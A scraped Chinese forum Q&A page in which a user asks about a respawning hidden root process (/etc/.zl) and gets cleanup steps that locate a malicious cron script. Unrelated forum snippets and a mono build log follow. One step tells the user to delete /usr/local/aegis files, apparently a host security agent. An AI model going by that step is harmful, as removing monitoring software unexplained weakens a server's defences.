linux 出现可疑进程请教,杀掉后会自动生成 5C

检查服务信息的时候发现有一个可疑的进程进行咨询 .zl 以及 .zlXXXXX 随机数字
其中 .zlXXXX 这个进程杀掉后还会自动启另外一个进程,数字就会变化了
crontab 没有发现定时任务
见截图
[img=https://img-bbs.csdn.net/upload/201804/19/1524133343_202513.png][/img]

通过 lsof 命令 分析这两个进程, 这两个进程信息如下
[quote]
lsof -p 1411
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.zl 1411 root cwd DIR 252,1 4096 2 /
.zl 1411 root rtd DIR 252,1 4096 2 /
.zl 1411 root txt REG 252,1 646674 1705185 /etc/.zl
.zl 1411 root 0r CHR 1,3 0t0 3845 /dev/null
.zl 1411 root 1u CHR 5,1 0t0 5457 /dev/console
.zl 1411 root 2u CHR 5,1 0t0 5457 /dev/console
[root@prodweb dev]# lsof -p 1586
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.lz151547 1586 root cwd DIR 252,1 4096 2 /
.lz151547 1586 root rtd DIR 252,1 4096 2 /
.lz151547 1586 root txt REG 252,1 646674 2101674 /tmp/.lz1515478938
.lz151547 1586 root 0r CHR 1,3 0t0 3845 /dev/null
.lz151547 1586 root 1u CHR 5,1 0t0 5457 /dev/console
.lz151547 1586 root 2u CHR 5,1 0t0 5457 /dev/console
[/quote]
进入到proc 下查看进程
[quote]
[root@prodweb dev]# cd /proc/1411
[root@prodweb 1411]# ls -ltr
total 0
dr-x------ 2 root root 0 Mar 29 18:45 fd
-r--r--r-- 1 root root 0 Apr 18 10:57 statm
lrwxrwxrwx 1 root root 0 Apr 18 11:13 exe -> /etc/.zl
-r--r--r-- 1 root root 0 Apr 18 14:07 stat
-r--r--r-- 1 root root 0 Apr 19 15:00 status
-r--r--r-- 1 root root 0 Apr 19 15:00 cmdline
-r--r--r-- 1 root root 0 Apr 19 17:33 wchan
dr-xr-xr-x 3 root root 0 Apr 19 17:33 task
-r--r--r-- 1 root root 0 Apr 19 17:33 syscall
-r--r--r-- 1 root root 0 Apr 19 17:33 stack
-r--r--r-- 1 root root 0 Apr 19 17:33 smaps
-r--r--r-- 1 root root 0 Apr 19 17:33 sessionid
-r--r--r-- 1 root root 0 Apr 19 17:33 schedstat
-rw-r--r-- 1 root root 0 Apr 19 17:33 sched
lrwxrwxrwx 1 root root 0 Apr 19 17:33 root -> /
-r--r--r-- 1 root root 0 Apr 19 17:33 personality
-r--r--r-- 1 root root 0 Apr 19 17:33 pagemap
-rw-r--r-- 1 root root 0 Apr 19 17:33 oom_score_adj
-r--r--r-- 1 root root 0 Apr 19 17:33 oom_score
-rw-r--r-- 1 root root 0 Apr 19 17:33 oom_adj
-r--r--r-- 1 root root 0 Apr 19 17:33 numa_maps
dr-x--x--x 2 root root 0 Apr 19 17:33 ns
dr-xr-xr-x 4 root root 0 Apr 19 17:33 net
-r-------- 1 root root 0 Apr 19 17:33 mountstats
-r--r--r-- 1 root root 0 Apr 19 17:33 mounts
-r--r--r-- 1 root root 0 Apr 19 17:33 mountinfo
-rw------- 1 root root 0 Apr 19 17:33 mem
-r--r--r-- 1 root root 0 Apr 19 17:33 maps
-rw-r--r-- 1 root root 0 Apr 19 17:33 loginuid
-rw------- 1 root root 0 Apr 19 17:33 limits
-r-------- 1 root root 0 Apr 19 17:33 io
dr-x------ 2 root root 0 Apr 19 17:33 fdinfo
-r-------- 1 root root 0 Apr 19 17:33 environ
lrwxrwxrwx 1 root root 0 Apr 19 17:33 cwd -> /
-r--r--r-- 1 root root 0 Apr 19 17:33 cpuset
-rw-r--r-- 1 root root 0 Apr 19 17:33 coredump_filter
-rw-r--r-- 1 root root 0 Apr 19 17:33 comm
--w------- 1 root root 0 Apr 19 17:33 clear_refs
-r--r--r-- 1 root root 0 Apr 19 17:33 cgroup
-r-------- 1 root root 0 Apr 19 17:33 auxv
-rw-r--r-- 1 root root 0 Apr 19 17:33 autogroup
dr-xr-xr-x 2 root root 0 Apr 19 17:33 attr

[/quote]
请教这到底是个什么东西,是否已经被入侵了

2个回答

  1. 删除#/var/spool/cron下的自启动脚本,root和crontabs
  2. 删除/tmp/.lz1515478938 文件,并停掉相关进程
  3. 删除 /usr/local/aegis/Aegis-* 文件

希望能有作用

/var/spool/cron下果然有一个自启动病毒脚本,谢谢

Csdn user default icon
上传中...
上传图片
插入图片
抄袭、复制答案,以达到刷声望分或其他目的的行为,在CSDN问答是严格禁止的,一经发现立刻封号。是时候展现真正的技术了!
其他相关推荐
centos下有个可疑进程,把文件删除之后还是会自动生成,求解决

通过ps -ef 看到有个./z26的脚本进程 root 155940 1 0 1月31 ? 00:01:23 ./z26 并且通过find找到在/tmp/z26,一起删除之后/tmp/z26该文件过几秒钟又会自动生成,并且还会出现在进程里面,占用内存资源较大。求帮助 用top查看的时候z26一直在消耗资源,目前只能把这个文件的所有读写权限全部去掉暂时稳定,但如果删除则立马就会生成新的文件 然后继续开始占用资源,会有很大的流量发出去,怀疑应该是被肉鸡了。

反外挂,遍历进程引用的句柄

最近遇到了外挂,服务端已经做了一些处理。 但由于不同玩家网络环境差异较大,为避免误杀,服务端的检测条件放得比较开。 希望能从客户端做一些检测,大致的想法是: 枚举系统所有进程,检查该进程持有的所有句柄引用,若其中包含了对我游戏程序的句柄引用,则被列入可疑进程。 那么问题来了,想请教下达人,**如何枚举出指定进程持有的所有句柄引用**。

数据库状态变为可疑,修复后数据库页已标记为 RestorePending

数据库版本为sqlserver2008 早上公司断电,服务器启动后有一个数据库编程可疑状态无法查询,在网上搜了下,执行了以下命令 1、修改数据库为紧急模式 ALTER DATABASE jd13dafa SET EMERGENCY 2、使数据库变为单用户模式 ALTER DATABASE jd13dafa SET SINGLE_USER 3、修复数据库日志重新生成,此命令检查的分配,结构,逻辑完整性和所有数据库中的对象错误。当您指定“REPAIR_ALLOW_DATA_LOSS”作为DBCC CHECKDB命令参数,该程序将检查和修复报告的错误。但是,这些修复可能会导致一些数据丢失。 DBCC CheckDB (jd13dafa , REPAIR_ALLOW_DATA_LOSS) 4、使数据库变回为多用户模式 ALTER DATABASE jd13dafa SET MULTI_USER 在执行CheckDB时报错,然后数据库可以查询了,但是发现很多表和视图查询时报错“数据库页已标记为 RestorePending,可能表明磁盘已损坏。要从此状态恢复,请执行还原操作”

在Linux下编译Unity的mono一直卡在这里

![图片说明](https://img-ask.csdn.net/upload/201707/25/1500967374_925546.png) 看日志有两个地方比较可疑,一个是这里 configure:3745: checking whether to enable maintainer-specific portions of Makefiles configure:3754: result: no 说没有开启maintainer-specific portions,但我不知道怎么开启,不知道是不是原因 另一处是arm-linux-androideabi-gcc: error: unrecognized command line option '-V' 这个好像和下面的 collect2: error: ld returned 1 exit status configure:4569: $? = 1 configure:4607: result: no configure: failed program was: | /* confdefs.h */ | #define PACKAGE_NAME "" | #define PACKAGE_TARNAME "" | #define PACKAGE_VERSION "" | #define PACKAGE_STRING "" | #define PACKAGE_BUGREPORT "" | #define PACKAGE_URL "" | #define PACKAGE "mono" | #define VERSION "2.6.5" | /* end confdefs.h. */ | | int | main () | { | | ; | return 0; | } 这个有关configure:4607: result: no这个意思好像是configure的4607行返回了一个no,文件夹内的确有一个configure文件,之后打开configure,4607行是这样的 4606 if test -z "$ac_file"; then : 4607 { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 4608 $as_echo "no" >&6; } 4609 $as_echo "$as_me: failed program was:" >&5 4610 sed 's/^/| /' conftest.$ac_ext >&5 4611 4612 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 4613 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} 4614 as_fn_error 77 "C compiler cannot create executables 4615 See \`config.log' for more details" "$LINENO" 5; } 4616 else 4617 { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 4618 $as_echo "yes" >&6; } 4619 fi 这种语言没学过,看不懂什么意思,求大神指点,卡这很久了 下面是日志 This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by configure, which was generated by GNU Autoconf 2.69. Invocation command line was $ ./configure --prefix=/home/jimmy/mono-unity-5.6/builds/android --cache-file=android_cross.cache --host=arm-eabi-linux --disable-mcs-build --disable-parallel-mark --disable-shared-handles --with-sigaltstack=no --with-tls=pthread --with-glib=embedded --enable-nls=no mono_cv_uscore=yes PATH=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin CC=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm CXX=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-g++ --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm CPP=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-cpp CXXCPP=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-cpp CFLAGS=-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float CPPFLAGS=-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float CXXFLAGS=-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float LDFLAGS=-Wl,--wrap,sigaction -L/home/jimmy/mono-unity-5.6/../../android_krait_signal_handler/build/obj/local/armeabi -lkrait-signal-handler -Wl,--no-undefined -Wl,--gc-sections -Wl,-rpath-link=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm/usr/lib -ldl -lm -llog -lc LD=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-ld AR=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-ar AS=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-as RANLIB=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-ranlib STRIP=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-strip CPATH=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm/usr/include ## --------- ## ## Platform. ## ## --------- ## hostname = ubuntu uname -m = x86_64 uname -r = 4.4.0-21-generic uname -s = Linux uname -v = #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 /usr/bin/uname -p = unknown /bin/uname -X = unknown /bin/arch = unknown /usr/bin/arch -k = unknown /usr/convex/getsysinfo = unknown /usr/bin/hostinfo = unknown /bin/machine = unknown /usr/bin/oslevel = unknown /bin/universe = unknown PATH: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin PATH: /usr/local/sbin PATH: /usr/local/bin PATH: /usr/sbin PATH: /usr/bin PATH: /sbin PATH: /bin ## ----------- ## ## Core tests. ## ## ----------- ## configure:2828: creating cache android_cross.cache configure:2934: checking build system type configure:2948: result: x86_64-pc-linux-gnu configure:2968: checking host system type configure:2981: result: arm-eabi-linux-gnu configure:3001: checking target system type configure:3014: result: arm-eabi-linux-gnu configure:3064: checking for a BSD-compatible install configure:3132: result: /usr/bin/install -c configure:3143: checking whether build environment is sane configure:3198: result: yes configure:3257: checking for arm-eabi-linux-strip configure:3284: result: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-strip configure:3349: checking for a thread-safe mkdir -p configure:3388: result: /bin/mkdir -p configure:3395: checking for gawk configure:3411: found /usr/bin/gawk configure:3422: result: gawk configure:3433: checking whether make sets $(MAKE) configure:3455: result: yes configure:3484: checking whether make supports nested variables configure:3501: result: yes configure:3591: checking whether UID '0' is supported by ustar format configure:3594: result: yes configure:3601: checking whether GID '0' is supported by ustar format configure:3604: result: yes configure:3612: checking how to create a ustar tar archive configure:3623: tar --version tar (GNU tar) 1.28 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by John Gilmore and Jay Fenlason. configure:3626: $? = 0 configure:3666: tardir=conftest.dir && eval tar --format=ustar -chf - "$tardir" >conftest.tar configure:3669: $? = 0 configure:3673: tar -xf - <conftest.tar configure:3676: $? = 0 configure:3678: cat conftest.dir/file GrepMe configure:3681: $? = 0 configure:3694: result: gnutar configure:3745: checking whether to enable maintainer-specific portions of Makefiles configure:3754: result: no configure:3771: checking whether ln -s works configure:3775: result: yes configure:3847: checking host platform characteristics configure:4065: result: ok configure:4110: checking for arm-eabi-linux-gcc configure:4137: result: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm configure:4207: checking for arm-eabi-linux-gcc configure:4234: result: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm configure:4503: checking for C compiler version configure:4512: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm --version >&5 arm-linux-androideabi-gcc (GCC) 4.8 Copyright (C) 2013 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. configure:4523: $? = 0 configure:4512: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm -v >&5 Using built-in specs. COLLECT_GCC=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc COLLECT_LTO_WRAPPER=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/../libexec/gcc/arm-linux-androideabi/4.8/lto-wrapper Target: arm-linux-androideabi Configured with: /s/ndk-toolchain/src/build/../gcc/gcc-4.8/configure --prefix=/tmp/ndk-andrewhsieh/build/toolchain/prefix --target=arm-linux-androideabi --host=x86_64-linux-gnu --build=x86_64-linux-gnu --with-gnu-as --with-gnu-ld --enable-languages=c,c++ --with-gmp=/tmp/ndk-andrewhsieh/build/toolchain/temp-install --with-mpfr=/tmp/ndk-andrewhsieh/build/toolchain/temp-install --with-mpc=/tmp/ndk-andrewhsieh/build/toolchain/temp-install --with-cloog=/tmp/ndk-andrewhsieh/build/toolchain/temp-install --with-isl=/tmp/ndk-andrewhsieh/build/toolchain/temp-install --with-ppl=/tmp/ndk-andrewhsieh/build/toolchain/temp-install --disable-ppl-version-check --disable-cloog-version-check --disable-isl-version-check --enable-cloog-backend=isl --with-host-libstdcxx='-static-libgcc -Wl,-Bstatic,-lstdc++,-Bdynamic -lm' --disable-libssp --enable-threads --disable-nls --disable-libmudflap --disable-libgomp --disable-libstdc__-v3 --disable-sjlj-exceptions --disable-shared --disable-tls --disable-libitm --with-float=soft --with-fpu=vfp --with-arch=armv5te --enable-target-optspace --enable-initfini-array --disable-nls --prefix=/tmp/ndk-andrewhsieh/build/toolchain/prefix --with-sysroot=/tmp/ndk-andrewhsieh/build/toolchain/prefix/sysroot --with-binutils-version=2.25 --with-mpfr-version=3.1.1 --with-mpc-version=1.0.1 --with-gmp-version=5.0.5 --with-gcc-version=4.8 --with-gdb-version=7.7 --with-python=/usr/local/google/home/andrewhsieh/mydroid/ndk/prebuilt/linux-x86/bin/python-config.sh --with-gxx-include-dir=/tmp/ndk-andrewhsieh/build/toolchain/prefix/include/c++/4.8 --with-bugurl=http://source.android.com/source/report-bugs.html --enable-languages=c,c++ --disable-bootstrap --enable-plugins --enable-libgomp --enable-gnu-indirect-function --disable-libsanitizer --enable-gold --enable-threads --enable-graphite=yes --with-cloog-version=0.18.0 --with-isl-version=0.11.1 --enable-eh-frame-hdr-for-static --with-arch=armv5te --program-transform-name='s&^&arm-linux-androideabi-&' --enable-gold=default Thread model: posix gcc version 4.8 (GCC) configure:4523: $? = 0 configure:4512: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm -V >&5 arm-linux-androideabi-gcc: error: unrecognized command line option '-V' arm-linux-androideabi-gcc: fatal error: no input files compilation terminated. configure:4523: $? = 1 configure:4512: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm -qversion >&5 arm-linux-androideabi-gcc: error: unrecognized command line option '-qversion' arm-linux-androideabi-gcc: fatal error: no input files compilation terminated. configure:4523: $? = 1 configure:4543: checking whether the C compiler works configure:4565: /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm -DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float -DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float -DGC_LINUX_THREADS -D_GNU_SOURCE -D_REENTRANT -DUSE_MMAP -DUSE_MUNMAP -Wl,--wrap,sigaction -L/home/jimmy/mono-unity-5.6/../../android_krait_signal_handler/build/obj/local/armeabi -lkrait-signal-handler -Wl,--no-undefined -Wl,--gc-sections -Wl,-rpath-link=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm/usr/lib -ldl -lm -llog -lc conftest.c >&5 /home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/../lib/gcc/arm-linux-androideabi/4.8/../../../../arm-linux-androideabi/bin/ld: error: cannot find -lkrait-signal-handler collect2: error: ld returned 1 exit status configure:4569: $? = 1 configure:4607: result: no configure: failed program was: | /* confdefs.h */ | #define PACKAGE_NAME "" | #define PACKAGE_TARNAME "" | #define PACKAGE_VERSION "" | #define PACKAGE_STRING "" | #define PACKAGE_BUGREPORT "" | #define PACKAGE_URL "" | #define PACKAGE "mono" | #define VERSION "2.6.5" | /* end confdefs.h. */ | | int | main () | { | | ; | return 0; | } configure:4612: error: in `/home/jimmy/mono-unity-5.6': configure:4614: error: C compiler cannot create executables See `config.log' for more details ## ---------------- ## ## Cache variables. ## ## ---------------- ## ac_cv_build=x86_64-pc-linux-gnu ac_cv_env_CCASFLAGS_set= ac_cv_env_CCASFLAGS_value= ac_cv_env_CCAS_set= ac_cv_env_CCAS_value= ac_cv_env_CCC_set= ac_cv_env_CCC_value= ac_cv_env_CC_set=set ac_cv_env_CC_value='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm' ac_cv_env_CFLAGS_set=set ac_cv_env_CFLAGS_value='-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float' ac_cv_env_CPPFLAGS_set=set ac_cv_env_CPPFLAGS_value='-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float' ac_cv_env_CPP_set=set ac_cv_env_CPP_value=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-cpp ac_cv_env_CXXCPP_set=set ac_cv_env_CXXCPP_value=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-cpp ac_cv_env_CXXFLAGS_set=set ac_cv_env_CXXFLAGS_value='-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float' ac_cv_env_CXX_set=set ac_cv_env_CXX_value='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-g++ --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm' ac_cv_env_LDFLAGS_set=set ac_cv_env_LDFLAGS_value='-Wl,--wrap,sigaction -L/home/jimmy/mono-unity-5.6/../../android_krait_signal_handler/build/obj/local/armeabi -lkrait-signal-handler -Wl,--no-undefined -Wl,--gc-sections -Wl,-rpath-link=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm/usr/lib -ldl -lm -llog -lc ' ac_cv_env_LIBS_set= ac_cv_env_LIBS_value= ac_cv_env_LT_SYS_LIBRARY_PATH_set= ac_cv_env_LT_SYS_LIBRARY_PATH_value= ac_cv_env_XMKMF_set= ac_cv_env_XMKMF_value= ac_cv_env_build_alias_set= ac_cv_env_build_alias_value= ac_cv_env_host_alias_set=set ac_cv_env_host_alias_value=arm-eabi-linux ac_cv_env_target_alias_set= ac_cv_env_target_alias_value= ac_cv_host=arm-eabi-linux-gnu ac_cv_path_install='/usr/bin/install -c' ac_cv_path_mkdir=/bin/mkdir ac_cv_prog_AWK=gawk ac_cv_prog_CC='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm' ac_cv_prog_STRIP=/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-strip ac_cv_prog_make_make_set=yes ac_cv_target=arm-eabi-linux-gnu am_cv_make_support_nested_variables=yes am_cv_prog_tar_ustar=gnutar mono_cv_uscore=yes ## ----------------- ## ## Output variables. ## ## ----------------- ## ACLOCAL='${SHELL} /home/jimmy/mono-unity-5.6/missing aclocal-1.15' ALPHA_FALSE='' ALPHA_TRUE='' AMD64_FALSE='' AMD64_TRUE='' AMDEPBACKSLASH='' AMDEP_FALSE='' AMDEP_TRUE='' AMTAR='$${TAR-tar}' AM_BACKSLASH='\' AM_DEFAULT_V='$(AM_DEFAULT_VERBOSITY)' AM_DEFAULT_VERBOSITY='1' AM_V='$(V)' API_VER='1.0' AR='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-ar' ARM_FALSE='' ARM_TRUE='' AS='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-as' AUTOCONF='${SHELL} /home/jimmy/mono-unity-5.6/missing autoconf' AUTOHEADER='${SHELL} /home/jimmy/mono-unity-5.6/missing autoheader' AUTOMAKE='${SHELL} /home/jimmy/mono-unity-5.6/missing automake-1.15' AWK='gawk' BISON='' BUILD_EXEEXT='' BUILD_GLIB_CFLAGS='' BUILD_GLIB_LIBS='' BUILD_MCS_FALSE='' BUILD_MCS_TRUE='' CC='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm' CCAS='' CCASDEPMODE='' CCASFLAGS='' CCDEPMODE='' CC_FOR_BUILD='' CFLAGS='-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float' CFLAGS_FOR_BUILD='' CPP='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-cpp' CPPFLAGS='-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float -DGC_LINUX_THREADS -D_GNU_SOURCE -D_REENTRANT -DUSE_MMAP -DUSE_MUNMAP' CROSS_COMPILING_FALSE='' CROSS_COMPILING_TRUE='' CXX='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-g++ --sysroot=/home/jimmy/android-ndk_auto-r10e/platforms/android-9/arch-arm' CXXCPP='/home/jimmy/android-ndk_auto-r10e/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86/bin/arm-linux-androideabi-cpp' CXXDEPMODE='' CXXFLAGS='-DANDROID -DPLATFORM_ANDROID -DLINUX -D__linux__ -DHAVE_USR_INCLUDE_MALLOC_H -DPAGE_SIZE=0x1000 -D_POSIX_PATH_MAX=256 -DS_IWRITE=S_IWUSR -DHAVE_PTHREAD_MUTEX_TIMEDLOCK -fpic -g -funwind-tables -ffunction-sections -fdata-sections -DARM_FPU_NONE=1 -march=armv5te -mtune=xscale -msoft-float' CYGPATH_W='echo' DEFS='' DEPDIR='' DISABLE_JIT_FALSE='' DISABLE_JIT_TRUE='' DISABLE_MCS_DOCS_FALSE='' DISABLE_MCS_DOCS_TRUE='' DISABLE_PROFILER_FALSE='' DISABLE_PROFILER_TRUE='' DISABLE_SHARED_HANDLES='' DLLTOOL='' DOLT_BASH='' DSYMUTIL='' DTRACE='' DTRACEFLAGS='' DTRACE_G_REQUIRED_FALSE='' DTRACE_G_REQUIRED_TRUE='' DUMPBIN='' ECHO_C='' ECHO_N='-n' ECHO_T='' EGLIB_BUILD_FALSE='' EGLIB_BUILD_TRUE='' EGREP='' ENABLE_DTRACE_FALSE='' ENABLE_DTRACE_TRUE='' ENABLE_LLVM_FALSE='' ENABLE_LLVM_TRUE='' ENABLE_NUNIT_TESTS_FALSE='' ENABLE_NUNIT_TESTS_TRUE='' EXEEXT='' FGREP='' 